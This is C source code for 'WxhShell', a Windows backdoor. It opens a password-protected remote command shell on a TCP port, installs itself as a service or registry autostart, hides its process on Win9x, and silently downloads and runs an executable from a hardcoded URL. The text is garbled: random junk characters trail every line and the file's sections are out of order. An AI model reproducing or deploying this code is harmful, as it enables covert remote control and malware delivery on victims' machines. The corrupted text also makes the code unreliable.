ULONG UniqueProcessId; =0EKrG
ULONG InheritedFromUniqueProcessId; 9,_~qWw
} PROCESS_BASIC_INFORMATION; 8+gp"!E
^ }5KM87
PROCNTQSIP NtQueryInformationProcess; `3VI9GmQ
>}~[ew
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1irSI,j%z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >5kz#|@P
F5cNF5
HANDLE hProcess; H^S<bZ
PROCESS_BASIC_INFORMATION pbi; :P2!& W
<^5$))r
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NI,>$@{
if(NULL == hInst ) return 0; 8[X"XThj
9%NsW3|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yeta)@nH
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Un)Xe
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yq|_6zbYf
S{&%tj~U
if (!NtQueryInformationProcess) return 0;
hO.b?>3NL
y_n4Y[4g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dz/@]a
if(!hProcess) return 0; Myg;2 .
g7hI9(8+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +l)t5Mg\
&XcPHZy'
CloseHandle(hProcess); )Z/w|5<
Pm2LB<qS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l\AdL$$Mb
if(hProcess==NULL) return 0; r`Fs"n#^-4
z;9D[ME#1
HMODULE hMod; 3zKeN:w
char procName[255]; wt9f2
unsigned long cbNeeded; 7Rtjm
6g#yzex
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hV,T889'
u5rvrn ]
CloseHandle(hProcess); MmvJ)|&t
l(Hz9
if(strstr(procName,"services")) return 1; // 以服务启动 H"w;~;h
;Qt/(/
return 0; // 注册表启动 Oj%5FUP~[%
} jGkDD8K [
x5PM]~"p
// 主模块 s92ol0`
int StartWxhshell(LPSTR lpCmdLine) 9Ca0Tu
{ 7DK}c]js
SOCKET wsl; tpA-IL?KQw
BOOL val=TRUE; ~Y~M}4
int port=0; [+b8
!'|&
struct sockaddr_in door; #0h}{y
E
a)r["*bTx
if(wscfg.ws_autoins) Install(); hTEb?1CXU
[6g$;SicT
port=atoi(lpCmdLine); }8}`A\dgV
J^#g?RHN>m
if(port<=0) port=wscfg.ws_port; N\tFK*U^I
2eRk_j]
WSADATA data; fHZ9wK>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a;;
Es
OYWHiXE6]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _fn7-&6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
&gT@oS{
door.sin_family = AF_INET; {Z <`@\K3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); D[]0/+,
door.sin_port = htons(port); ipGxi[Vav
(?(gz#-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +UziO#D
closesocket(wsl); v\G7V
return 1; !+Y+P?
} -"H$&p~
k&5T-\ q
if(listen(wsl,2) == INVALID_SOCKET) { )n9,?F#l
closesocket(wsl); KfVsnL_
return 1; NM:$Q<n
} kFkI[WKyZ
Wxhshell(wsl); W58?t6!
=
WSACleanup(); {y5 L
<"p-0=IgJ
return 0; l SKq
L;?h)8
} y?r`[{L(lA
xuqG)HthRS
// 以NT服务方式启动 |%XcI3@*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l+y;>21sTu
{ sb_/FE5e
DWORD status = 0; cg]Gt1SU
DWORD specificError = 0xfffffff; Qp:m=f6@
/ s Apj
serviceStatus.dwServiceType = SERVICE_WIN32; \@h$|nb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; nLk`W"irM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i E;F=Rb
serviceStatus.dwWin32ExitCode = 0; oVp/EQ
serviceStatus.dwServiceSpecificExitCode = 0; rzie_)a Y%
serviceStatus.dwCheckPoint = 0; 2)$-L'YS
serviceStatus.dwWaitHint = 0; jFKp~`/#
(#85<|z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Xo "?f
if (hServiceStatusHandle==0) return; 1K|F;p
x{ `{j'
status = GetLastError(); )+,h}XqlX
if (status!=NO_ERROR) $f+I#uJ
{ +zDRed_]=_
serviceStatus.dwCurrentState = SERVICE_STOPPED; zHNBX
Rx
serviceStatus.dwCheckPoint = 0; /G]/zlUE
serviceStatus.dwWaitHint = 0; L|(U%$
serviceStatus.dwWin32ExitCode = status; bxO/FrwTj{
serviceStatus.dwServiceSpecificExitCode = specificError; hCgk78O?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H*N{4zBB
return; iC! 6g|]X
} 'ks .TS&
6q`)%"4k
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8n2;47 a
serviceStatus.dwCheckPoint = 0; <f.Eog
serviceStatus.dwWaitHint = 0; .dxELSV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {gu3KV
} w9"~NK8xzM
;{R;lF,
// 处理NT服务事件,比如:启动、停止 jHHCJOHB8
VOID WINAPI NTServiceHandler(DWORD fdwControl) O+<+yQl
{ "8?Fl&=Q
switch(fdwControl) Dz2Z
(EXI~
{ }Cfl|t<5f
case SERVICE_CONTROL_STOP: |-*50j l
serviceStatus.dwWin32ExitCode = 0; Us#/#-hJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; @\oZ2sB
serviceStatus.dwCheckPoint = 0; hiV!/}'7
serviceStatus.dwWaitHint = 0; }{,Wha5\n
{ up8d3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >e.KD)qA
} X6t9*|C
return; e_!Z-#\J%
case SERVICE_CONTROL_PAUSE: hHDLrr
serviceStatus.dwCurrentState = SERVICE_PAUSED; >6WZSw/Hq
break; ?D9iCP~~
case SERVICE_CONTROL_CONTINUE: y|0/;SjV
serviceStatus.dwCurrentState = SERVICE_RUNNING; p0CPeH
break; a[rb-Z
case SERVICE_CONTROL_INTERROGATE: o F_rC[
break; D ZZRu8~
}; #^aa&*<D_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); sc# EL~
} !z2xm3s{]p
H)&iFq
// 标准应用程序主函数 _):@C:6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GCw4sb4~w
{ 0SIUp/.
{<}Hut:a
// 获取操作系统版本 \WdSj
OsIsNt=GetOsVer(); x\:KfYr4Y;
GetModuleFileName(NULL,ExeFile,MAX_PATH); br k*;
+`mI\+y,
// 从命令行安装 <rui\/4NJ
if(strpbrk(lpCmdLine,"iI")) Install(); :w|=o9J
Ets6tM`
// 下载执行文件 g6.I~oQj
if(wscfg.ws_downexe) { ;:R2 P@6f
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?-9uf\2_
WinExec(wscfg.ws_filenam,SW_HIDE); ;0?OBUDO
} :mLXB75gH
ywyg(8>zE
if(!OsIsNt) { Mty[)+se
// 如果时win9x,隐藏进程并且设置为注册表启动 fTK84v"7_
HideProc(); %`lJA W[
StartWxhshell(lpCmdLine); )~nieQEZQ
} ^k^?>h
else ~h=iZ/g_^_
if(StartFromService()) DC BN89#
// 以服务方式启动 <*u^8lCA
StartServiceCtrlDispatcher(DispatchTable); @;hdZLG]`&
else `*kl> }$
// 普通方式启动 H=Cj/jE
StartWxhshell(lpCmdLine); N6+^}2'*)
Y8lZ]IB
return 0; 9CN'29c
} B` +,
8
6
A#xFPYY{
suLC7x`Z
FQ47j)p;
=========================================== lt2MB#
xA-?pLt"G
i!RYrae
GGhk`z
S^EAE]
` ` Yk
" @}{uibLD\
.O#7X
#include <stdio.h> #QSSpsF@
#include <string.h> Sx0{]1J
#include <windows.h> @k'V`ZQF
#include <winsock2.h> ^f"|<r
#include <winsvc.h> kG}F/GN?
#include <urlmon.h> `2x. -
0mmHN`<
#pragma comment (lib, "Ws2_32.lib") gnxD'1_
#pragma comment (lib, "urlmon.lib") r[GH#vF;7
XsFzSm
#define MAX_USER 100 // 最大客户端连接数 WT1y7+_g(d
#define BUF_SOCK 200 // sock buffer T
7qHw!)
#define KEY_BUFF 255 // 输入 buffer gLZJQubz
6
N cGFPi(Z
#define REBOOT 0 // 重启 M:& %c3
#define SHUTDOWN 1 // 关机 4ZR2U3jd1
,Sy&?t}`
#define DEF_PORT 5000 // 监听端口 C6@*l~j
^mC,Z+!
#define REG_LEN 16 // 注册表键长度 tc\ZYCFr
#define SVC_LEN 80 // NT服务名长度 `cN8AcRHP
vv^y
V"0Y
// 从dll定义API -F3~X R
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5gC>j(
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5e0d;Rd
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ),j6tq[
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bF+j%=
tw\1&*:
// wxhshell配置信息 F`{O
struct WSCFG { 0,.|-OZ
int ws_port; // 监听端口 M_r[wYt!
char ws_passstr[REG_LEN]; // 口令 K3,PmI&W
int ws_autoins; // 安装标记, 1=yes 0=no oJ"D5d,
char ws_regname[REG_LEN]; // 注册表键名 |m@>AbR5dk
char ws_svcname[REG_LEN]; // 服务名 +StsSZ
char ws_svcdisp[SVC_LEN]; // 服务显示名 w&J_c8S
char ws_svcdesc[SVC_LEN]; // 服务描述信息 +|5 O b
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .4$F~!aj9
int ws_downexe; // 下载执行标记, 1=yes 0=no [*0M$4
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '#,C5*`
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bs16G3-p
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}; hH%fWB2(
p1HbD`ST
// default Wxhshell configuration >dD$GD{
struct WSCFG wscfg={DEF_PORT, n'JS-
"xuhuanlingzhe", FS!)KxC/-
1, gm!sLZ!X
"Wxhshell", 8.I3%u
"Wxhshell", 3=} P l,
"WxhShell Service", {{gt>"D,
"Wrsky Windows CmdShell Service", ('\sUZ+5
"Please Input Your Password: ", |R!ozlL{}
1, k9:|CEP
"http://www.wrsky.com/wxhshell.exe", 49}WJC7
)
"Wxhshell.exe" lB_X mI1t
}; ~82 {Y
_{/
T3 4Z#PFwe
// 消息定义模块 zfg+gd)Z
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @M'qi=s*
char *msg_ws_prompt="\n\r? for help\n\r#>"; @v&